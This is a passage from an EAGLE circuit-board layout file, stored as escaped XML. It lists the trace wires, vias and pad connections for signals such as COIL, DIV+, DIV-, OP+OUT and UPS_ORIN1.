x=\"71.6\" y=\"66.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"62.5\" y=\"65.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"67.8\" y=\"65.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"53.4\" y=\"56.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"69.6\" y1=\"51.6\" x2=\"69.4\" y2=\"51.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"69.4\" y1=\"51.6\" x2=\"68.1\" y2=\"50.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"70.2\" y1=\"48.9\" x2=\"71\" y2=\"49.7\" width=\"0.2\" layer=\"16\"/>\n<via x=\"17.2\" y=\"40.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"21.7\" y=\"41.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"9.3\" y=\"58.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"11.1\" y=\"60.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"1.4\" y=\"69.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"5.7\" y=\"69.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"8.8\" y=\"67.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"12.5\" y=\"51.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"24.5\" y=\"59.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"11.9\" y=\"40.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"18\" y=\"32.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"90.8\" y=\"60.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"50.5\" y=\"28.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"52.8\" y=\"28.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<contactref element=\"JP19\" pad=\"1\"/>\n<contactref element=\"C31\" pad=\"2\"/>\n<contactref element=\"R37\" pad=\"2\"/>\n<contactref element=\"C33\" pad=\"1\"/>\n<wire x1=\"70.2\" y1=\"48.9\" x2=\"68.4\" y2=\"48.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"68.1\" y1=\"50.3\" x2=\"68.1\" y2=\"49.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"68.1\" y1=\"49.2\" x2=\"68.4\" y2=\"48.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"91.61\" y1=\"59.12\" x2=\"90.8\" y2=\"59.12\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"90.8\" y1=\"59.12\" x2=\"90.8\" y2=\"60.4\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"J1\" pad=\"2\"/>\n<contactref element=\"U$2\" pad=\"GND\"/>\n<contactref element=\"U$2\" pad=\"GND@1\"/>\n<contactref element=\"U$2\" pad=\"GND@2\"/>\n<contactref element=\"U$2\" pad=\"GND@3\"/>\n<contactref element=\"U$2\" pad=\"GND@4\"/>\n<contactref element=\"C34\" pad=\"1\"/>\n<contactref element=\"C35\" pad=\"1\"/>\n<via x=\"68.9\" y=\"58\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"68.2\" y=\"62.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"74.3\" y=\"63.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"76.8\" y=\"68.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"76.5\" y=\"60.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<contactref element=\"C36\" pad=\"2\"/>\n<contactref element=\"OPTO_MOS3\" pad=\"C\"/>\n<wire x1=\"70.45\" y1=\"58.3\" x2=\"70.3\" y2=\"58.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.3\" y1=\"58.3\" x2=\"70.2\" y2=\"58.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.2\" y1=\"58.2\" x2=\"69.1\" y2=\"58.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"69.1\" y1=\"58.2\" x2=\"68.9\" y2=\"58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.77\" y1=\"58.63\" x2=\"9.5\" y2=\"56.9\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"9.5\" y1=\"56.9\" x2=\"9.5\" y2=\"55.9\" width=\"0.4\" layer=\"16\"/>\n<contactref element=\"TP1\" pad=\"TP\"/>\n<wire x1=\"110\" y1=\"17.7\" x2=\"109.1\" y2=\"16.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"109.1\" y1=\"16.8\" x2=\"106.8\" y2=\"16.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"7.4\" y1=\"8.873\" x2=\"7.3\" y2=\"8.973\" width=\"0.2\" layer=\"1\"/>\n<via x=\"85\" y=\"64.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"86.5\" y=\"66.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n</signal>\n<signal name=\"COIL\">\n<contactref element=\"JP11\" pad=\"1\"/>\n<contactref element=\"C4\" pad=\"1\"/>\n<contactref element=\"C5\" pad=\"1\"/>\n<contactref element=\"D2\" pad=\"3\"/>\n<contactref element=\"C6\" pad=\"1\"/>\n<contactref element=\"C7\" pad=\"1\"/>\n<wire x1=\"12\" y1=\"12.6\" x2=\"10\" y2=\"12.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15.9\" y1=\"12.6\" x2=\"14\" y2=\"12.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15.9\" y1=\"12.6\" x2=\"16.45\" y2=\"12.55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"14\" y1=\"12.6\" x2=\"12\" y2=\"12.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"12\" y1=\"12.6\" x2=\"12.3\" y2=\"12.55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"14\" y1=\"12.6\" x2=\"14.4\" y2=\"12.55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"10\" y1=\"12.6\" x2=\"10.2\" y2=\"12.55\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"OPTO_MOS1\" pad=\"NO\"/>\n<via x=\"15.2\" y=\"18.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"15.2\" y=\"24.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"15.2\" y1=\"24.4\" x2=\"13.5\" y2=\"26.1\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TUNE\" pad=\"2\"/>\n<contactref element=\"TP5\" pad=\"TP\"/>\n<wire x1=\"2\" y1=\"13.3\" x2=\"2\" y2=\"14.093\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"2\" y1=\"14.093\" x2=\"3.2\" y2=\"15.293\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"13.5\" y1=\"26.1\" x2=\"12.92\" y2=\"26.08\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"10\" y1=\"12.6\" x2=\"7.833\" y2=\"12.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.833\" y1=\"12.6\" x2=\"7.3\" y2=\"11.767\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.833\" y1=\"12.6\" x2=\"7.833\" y2=\"13.367\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.833\" y1=\"13.367\" x2=\"5.9\" y2=\"15.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"5.9\" y1=\"15.3\" x2=\"3.207\" y2=\"15.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"3.207\" y1=\"15.3\" x2=\"3.2\" y2=\"15.293\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15.2\" y1=\"24.4\" x2=\"15.2\" y2=\"18.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"15.2\" y1=\"18.8\" x2=\"14.5\" y2=\"18.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"14.5\" y1=\"18.1\" x2=\"14.5\" y2=\"15.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"14.4\" y1=\"12.55\" x2=\"14.4\" y2=\"15.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"14.4\" y1=\"15.4\" x2=\"14.5\" y2=\"15.5\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$5\">\n<contactref element=\"R7\" pad=\"2\"/>\n<contactref element=\"C10\" pad=\"1\"/>\n<contactref element=\"C8\" pad=\"1\"/>\n<contactref element=\"D2\" pad=\"1\"/>\n<wire x1=\"22.2\" y1=\"12.7\" x2=\"22.1\" y2=\"12.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.15\" y1=\"12.7\" x2=\"22.2\" y2=\"12.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.1\" y1=\"12.6\" x2=\"22.01\" y2=\"12.55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19.1\" y1=\"12.6\" x2=\"22\" y2=\"12.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22\" y1=\"12.6\" x2=\"22.01\" y2=\"12.55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19.1\" y1=\"12.6\" x2=\"19.02\" y2=\"12.54\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"16.6\" y1=\"14.55\" x2=\"18.15\" y2=\"14.55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18.15\" y1=\"14.55\" x2=\"19\" y2=\"13.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19\" y1=\"13.7\" x2=\"19\" y2=\"12.56\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19\" y1=\"12.56\" x2=\"19.02\" y2=\"12.54\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$6\">\n<contactref element=\"C10\" pad=\"2\"/>\n<contactref element=\"R13\" pad=\"2\"/>\n<wire x1=\"28.15\" y1=\"12.7\" x2=\"25.85\" y2=\"12.7\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$7\">\n<contactref element=\"R13\" pad=\"1\"/>\n<contactref element=\"C11\" pad=\"2\"/>\n<contactref element=\"C9\" pad=\"2\"/>\n<contactref element=\"C9\" pad=\"2\"/>\n<wire x1=\"34.4\" y1=\"21.9\" x2=\"34.4\" y2=\"21.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"33.2\" y1=\"14.5\" x2=\"33.2\" y2=\"21.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"34.4\" y1=\"20.35\" x2=\"34.4\" y2=\"21.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"29.85\" y1=\"12.7\" x2=\"29.9\" y2=\"12.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"33.2\" y1=\"21.7\" x2=\"33.4\" y2=\"21.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"33.4\" y1=\"21.9\" x2=\"34.35\" y2=\"21.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"34.35\" y1=\"21.9\" x2=\"34.4\" y2=\"21.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"33.2\" y1=\"14.5\" x2=\"31.4\" y2=\"12.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31.4\" y1=\"12.7\" x2=\"29.85\" y2=\"12.7\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$8\">\n<contactref element=\"C11\" pad=\"1\"/>\n<wire x1=\"34.4\" y1=\"23.7\" x2=\"34.4\" y2=\"23.65\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"R45\" pad=\"2\"/>\n<wire x1=\"37.15\" y1=\"27\" x2=\"37.15\" y2=\"25.15\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.15\" y1=\"25.15\" x2=\"35.6\" y2=\"23.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"35.6\" y1=\"23.6\" x2=\"34.45\" y2=\"23.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"34.45\" y1=\"23.6\" x2=\"34.4\" y2=\"23.65\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$9\">\n<contactref element=\"R14\" pad=\"1\"/>\n<contactref element=\"R15\" pad=\"2\"/>\n<contactref element=\"U4\" pad=\"2\"/>\n<wire x1=\"50.4\" y1=\"25.4\" x2=\"44.9\" y2=\"25.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.4\" y1=\"25.4\" x2=\"50.4\" y2=\"25.34\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"44.01\" y1=\"27\" x2=\"44.01\" y2=\"26.29\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"44.01\" y1=\"26.29\" x2=\"44.9\" y2=\"25.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"44.01\" y1=\"27\" x2=\"41.92\" y2=\"27\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"OPB-\">\n<contactref element=\"R38\" pad=\"1\"/>\n<contactref element=\"C33\" pad=\"2\"/>\n<contactref element=\"TP45\" pad=\"TP\"/>\n<wire x1=\"38.85\" y1=\"1.9\" x2=\"39.8\" y2=\"2.85\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.8\" y1=\"2.85\" x2=\"40.1\" y2=\"2.85\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.1\" y1=\"2.85\" x2=\"42.2\" y2=\"2.85\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.2\" y1=\"2\" x2=\"40.1\" y2=\"1.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"40.1\" y1=\"1.5\" x2=\"40.1\" y2=\"3.8\" width=\"0.2\" layer=\"16\"/>\n<via x=\"40.1\" y=\"3.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"40.1\" y1=\"3.8\" x2=\"40.1\" y2=\"2.85\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"U4\" pad=\"6\"/>\n<wire x1=\"50.4\" y1=\"20.26\" x2=\"48.64\" y2=\"20.26\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"48.64\" y1=\"20.26\" x2=\"48.6\" y2=\"20.3\" width=\"0.2\" layer=\"1\"/>\n<via x=\"48.6\" y=\"20.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"48.6\" y1=\"20.3\" x2=\"48.6\" y2=\"16.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"48.6\" y1=\"16.5\" x2=\"37.7\" y2=\"5.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"37.7\" y1=\"5.6\" x2=\"37.7\" y2=\"4.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"37.7\" y1=\"4.6\" x2=\"38.7\" y2=\"3.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"38.7\" y1=\"3.6\" x2=\"39.9\" y2=\"3.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39.9\" y1=\"3.6\" x2=\"40.1\" y2=\"3.8\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"N$12\">\n<contactref element=\"R10\" pad=\"2\"/>\n<contactref element=\"U4\" pad=\"3\"/>\n<wire x1=\"48\" y1=\"24.8\" x2=\"39.12\" y2=\"24.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"48.7\" y1=\"24.1\" x2=\"48\" y2=\"24.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.4\" y1=\"24.1\" x2=\"48.7\" y2=\"24.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38\" y1=\"23.7\" x2=\"37.97\" y2=\"23.65\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.4\" y1=\"24.1\" x2=\"50.4\" y2=\"24.07\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.12\" y1=\"24.8\" x2=\"37.97\" y2=\"23.65\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"DIV+\">\n<contactref element=\"C3\" pad=\"1\"/>\n<contactref element=\"U4\" pad=\"13\"/>\n<contactref element=\"JP5\" pad=\"1\"/>\n<contactref element=\"JP5\" pad=\"3\"/>\n<contactref element=\"JP5\" pad=\"5\"/>\n<wire x1=\"70.67\" y1=\"5.93\" x2=\"70.3\" y2=\"6.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.3\" y1=\"6.3\" x2=\"70.3\" y2=\"6.35\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.7\" y1=\"25.2\" x2=\"55.6\" y2=\"25.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.5\" y1=\"25.2\" x2=\"55.7\" y2=\"25.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.3\" y1=\"19.4\" x2=\"62\" y2=\"20.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62\" y1=\"20.7\" x2=\"57.5\" y2=\"25.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.2\" y1=\"10.5\" x2=\"63.3\" y2=\"19.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"72.2\" y1=\"7.6\" x2=\"72.2\" y2=\"10.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"73.76\" y1=\"6.04\" x2=\"72.2\" y2=\"7.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.6\" y1=\"25.3\" x2=\"55.6\" y2=\"25.34\" width=\"0.2\" layer=\"1\"/>\n<via x=\"63.3\" y=\"19.4\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"76.3\" y1=\"5.93\" x2=\"78.84\" y2=\"5.93\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.76\" y1=\"6.04\" x2=\"73.76\" y2=\"5.93\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"76.3\" y1=\"5.93\" x2=\"73.76\" y2=\"5.93\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.67\" y1=\"5.93\" x2=\"73.76\" y2=\"5.93\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP3\" pad=\"TP\"/>\n<contactref element=\"U6\" pad=\"42\"/>\n<wire x1=\"58.9\" y1=\"43.2\" x2=\"58.9\" y2=\"44.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.3\" y1=\"37\" x2=\"57.3\" y2=\"42.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"57.6\" y1=\"36.7\" x2=\"57.3\" y2=\"37\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.6\" y1=\"36.7\" x2=\"57.6\" y2=\"36.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.35\" y1=\"34.95\" x2=\"61.6\" y2=\"36.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58.9\" y1=\"44.5\" x2=\"58.9066\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<via x=\"57.3\" y=\"42.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"57.3\" y=\"37\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"23\"/>\n<wire x1=\"63.35\" y1=\"34.95\" x2=\"63.35\" y2=\"31.05\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.35\" y1=\"31.05\" x2=\"64.7\" y2=\"29.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.7\" y1=\"29.7\" x2=\"64.7\" y2=\"23.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.7\" y1=\"23.4\" x2=\"63.1\" y2=\"21.8\" width=\"0.2\" layer=\"16\"/>\n<via x=\"63.1\" y=\"21.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"63.1\" y1=\"21.8\" x2=\"62\" y2=\"20.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.3\" y1=\"42.9\" x2=\"58.6\" y2=\"42.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"58.6\" y1=\"42.9\" x2=\"58.9\" y2=\"43.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"78.84\" y1=\"5.93\" x2=\"79.4\" y2=\"5.37\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"76.2\" y1=\"3.3\" x2=\"76.2\" y2=\"5.83\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"76.2\" y1=\"5.83\" x2=\"76.3\" y2=\"5.93\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"J2\" pad=\"1\"/>\n<wire x1=\"79.4\" y1=\"5.37\" x2=\"80.97\" y2=\"5.37\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"80.97\" y1=\"5.37\" x2=\"81.5\" y2=\"5.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"81.5\" y1=\"5.9\" x2=\"81.5\" y2=\"6.892\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"OP-OUT\">\n<contactref element=\"U2\" pad=\"3\"/>\n<contactref element=\"U4\" pad=\"14\"/>\n<contactref element=\"OP+OUT\" pad=\"TP\"/>\n<contactref element=\"JP6\" pad=\"1\"/>\n<wire x1=\"94.7\" y1=\"12.5\" x2=\"86.9\" y2=\"20.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"85\" y1=\"22.1\" x2=\"84.9586\" y2=\"22.1396\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.1\" y1=\"28.2\" x2=\"55.6\" y2=\"26.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"77.6\" y1=\"28.2\" x2=\"57.1\" y2=\"28.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"83.7\" y1=\"22.1\" x2=\"77.6\" y2=\"28.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.6\" y1=\"26.7\" x2=\"55.6\" y2=\"26.61\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"95.6\" y1=\"2.6\" x2=\"92.5\" y2=\"2.6\" width=\"0.2\" layer=\"1\"/>\n<via x=\"86.9\" y=\"20.3\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"TP4\" pad=\"TP\"/>\n<wire x1=\"86.9\" y1=\"20.3\" x2=\"84.2\" y2=\"20.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"84.2\" y1=\"20.3\" x2=\"83.7\" y2=\"20.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"83.7\" y1=\"20.8\" x2=\"83.7\" y2=\"22.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"84.9586\" y1=\"22.1396\" x2=\"83.7396\" y2=\"22.1396\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"83.7396\" y1=\"22.1396\" x2=\"83.7\" y2=\"22.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"95.6\" y1=\"2.6\" x2=\"95.6\" y2=\"4.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"95.6\" y1=\"4.8\" x2=\"94.7\" y2=\"5.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"94.7\" y1=\"5.7\" x2=\"94.7\" y2=\"12.5\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"OP+OUT\">\n<contactref element=\"U2\" pad=\"1\"/>\n<contactref element=\"U4\" pad=\"8\"/>\n<contactref element=\"OP-OUT\" pad=\"TP\"/>\n<contactref element=\"JP7\" pad=\"1\"/>\n<wire x1=\"85\" y1=\"24.3\" x2=\"85\" y2=\"23.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"85.8\" y1=\"23.5\" x2=\"85\" y2=\"24.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"85.8\" y1=\"20.5\" x2=\"85.8\" y2=\"23.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"85\" y1=\"23.5\" x2=\"84.9586\" y2=\"23.4604\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.9\" y1=\"19\" x2=\"55.6\" y2=\"19\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.4\" y1=\"20.5\" x2=\"61.9\" y2=\"19\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"85.8\" y1=\"20.5\" x2=\"63.4\" y2=\"20.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.6\" y1=\"19\" x2=\"55.6\" y2=\"18.99\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"89.2\" y1=\"2.6\" x2=\"86.2\" y2=\"2.6\" width=\"0.2\" layer=\"1\"/>\n<via x=\"85\" y=\"24.3\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"61.9\" y=\"19\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"85.8\" y1=\"20.5\" x2=\"85.8\" y2=\"19.2\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP6\" pad=\"TP\"/>\n<wire x1=\"87\" y1=\"5.7\" x2=\"89.2\" y2=\"5.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"89.2\" y1=\"5.7\" x2=\"89.2\" y2=\"15.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"89.2\" y1=\"15.8\" x2=\"85.8\" y2=\"19.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"89.2\" y1=\"5.7\" x2=\"89.2\" y2=\"2.6\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"UPS_ORIN1\">\n<contactref element=\"U2\" pad=\"6\"/>\n<contactref element=\"U3\" pad=\"1\"/>\n<contactref element=\"JP9\" pad=\"1\"/>\n<wire x1=\"87.1\" y1=\"23.5\" x2=\"87.0414\" y2=\"23.4604\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"89.5\" y1=\"23.45\" x2=\"89.5\" y2=\"27.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"98.15\" y1=\"23.45\" x2=\"89.5\" y2=\"23.45\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"89.5\" y1=\"23.45\" x2=\"87.0518\" y2=\"23.45\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"87.0518\" y1=\"23.45\" x2=\"87.0414\" y2=\"23.4604\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP8\" pad=\"TP\"/>\n<contactref element=\"R43\" pad=\"1\"/>\n<wire x1=\"85.1\" y1=\"29.1\" x2=\"87.2\" y2=\"29.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"87.2\" y1=\"29.1\" x2=\"88\" y2=\"29.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"88\" y1=\"29.1\" x2=\"89.5\" y2=\"27.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"89.5\" y1=\"27.6\" x2=\"89.5\" y2=\"27.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"89.5\" y1=\"27.75\" x2=\"90\" y2=\"28.25\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"DIV-\">\n<contactref element=\"C2\" pad=\"1\"/>\n<contactref element=\"JP4\" pad=\"1\"/>\n<contactref element=\"JP4\" pad=\"3\"/>\n<contactref element=\"JP4\" pad=\"5\"/>\n<contactref element=\"U4\" pad=\"10\"/>\n<wire x1=\"55.5\" y1=\"21.4\" x2=\"55.6\" y2=\"21.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.2\" y1=\"21.4\" x2=\"55.5\" y2=\"21.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.6\" y1=\"21.5\" x2=\"55.6\" y2=\"21.53\" width=\"0.2\" layer=\"1\"/>\n<via x=\"53.2\" y=\"21.4\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"40.3\" y1=\"6.35\" x2=\"43.54\" y2=\"6.35\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"43.54\" y1=\"6.35\" x2=\"44.06\" y2=\"5.83\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.4\" y1=\"18.6\" x2=\"50.4\" y2=\"16.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"50.4\" y1=\"16.8\" x2=\"50.4\" y2=\"7.09\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"50.4\" y1=\"7.09\" x2=\"49.14\" y2=\"5.83\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"50.4\" y1=\"18.6\" x2=\"53.2\" y2=\"21.4\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP2\" pad=\"TP\"/>\n<wire x1=\"44\" y1=\"5.77\" x2=\"44.06\" y2=\"5.83\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"44.06\" y1=\"5.83\" x2=\"46.6\" 